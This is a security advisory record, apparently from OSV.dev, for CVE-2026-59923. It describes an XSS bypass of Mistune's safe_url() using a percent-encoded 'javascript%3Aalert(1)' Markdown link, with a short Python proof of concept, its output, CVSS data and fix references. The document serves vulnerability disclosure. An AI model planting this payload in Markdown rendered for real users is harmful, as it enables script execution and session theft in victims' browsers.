{"id":"CVE-2026-59923","aliases":["GHSA-8c25-4j27-2rv3","PYSEC-2026-2211"],"url":"https://o3.security/vulnerability/CVE-2026-59923","summary":"Mistune: XSS via percent-encoded javascript URI bypass in safe_url()","details":"### Summary\nAn XSS vulnerability in Mistune allows bypassing of safe_url() protections via percent-encoded javascript URIs.\n\n\n### Details\nThe vulnerability exists in HTMLRenderer.safe_url() in Mistune.\n\nThe function is intended to block harmful URL schemes such as \"javascript:\" by checking the prefix of the provided URL:\n\n    _url = url.lower()\n    if _url.startswith(self.HARMFUL_PROTOCOLS):\n        return \"#harmful-link\"\n\nHowever, the input URL is not URL-decoded before this check. Because of this, an attacker can use percent-encoding to bypass the filter. For example:\n\n    javascript%3Aalert(1)\n\nSince \"%3A\" is not decoded to \":\", the check does not detect the \"javascript:\" scheme.\n\nWhen rendered in a browser, the URL is decoded, resulting in execution of arbitrary JavaScript upon user interaction.\n\nThis effectively bypasses Mistune's built-in safe_url() protection mechanism.\n\n\n\n### PoC\n1. Install vulnerable version:\n\n    pip install mistune==3.2.0\n\n2. Run the following code:\n\n    import mistune\n\n    markdown = mistune.create_markdown()\n    html = markdown(\"[j](javascript%3Aalert(1))\")\n\n    print(html)\n\n3. Output:\n\n    <p><a href=\"javascript%3Aalert(1)\">j</a></p>\n\n4. Open the rendered HTML in a browser and click the link.\n\n5. The browser decodes \"%3A\" into \":\" and executes:\n\n    javascript:alert(1)\n\n\n### Impact\nThis is a cross-site scripting (XSS) vulnerability.\n\nAn attacker can craft a malicious Markdown link that executes JavaScript in the victim's browser when clicked.\n\nImpact includes:\n- Session hijacking (e.g., cookie theft)\n- Execution of arbitrary JavaScript in the victim's context\n- Potential account takeover depending on the application\n\nThis affects any application that renders user-controlled Markdown using Mistune without additional URL sanitization.","published":"2026-07-08T16:14:39.266Z","modified":"2026-10-21T02:30:20.115221851Z","cvss":{"score":6.1,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"},"epss":{"score":0.00348,"percentile":0.28257,"asOf":"2026-09-16"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"PyPI","name":"mistune","fixedVersion":"3.3.0"}],"fix":{"url":"https://github.com/lepture/mistune/commit/c7101fcbb6e8790e8e39157c5ca2238fc6dd6cbc","label":"lepture/mistune@c7101fc"},"references":[{"type":"WEB","url":"https://github.com/lepture/mistune/releases/tag/v3.3.0"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/59xxx/CVE-2026-59923.json"},{"type":"ADVISORY","url":"https://github.com/lepture/mistune/security/advisories/GHSA-8c25-4j27-2rv3"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59923"},{"type":"FIX","url":"https://github.com/lepture/mistune/commit/c7101fcbb6e8790e8e39157c5ca2238fc6dd6cbc"},{"type":"PACKAGE","url":"https://github.com/lepture/mistune"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/mistune/PYSEC-2026-2211.yaml"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-21T02:30:20.115221851Z"}}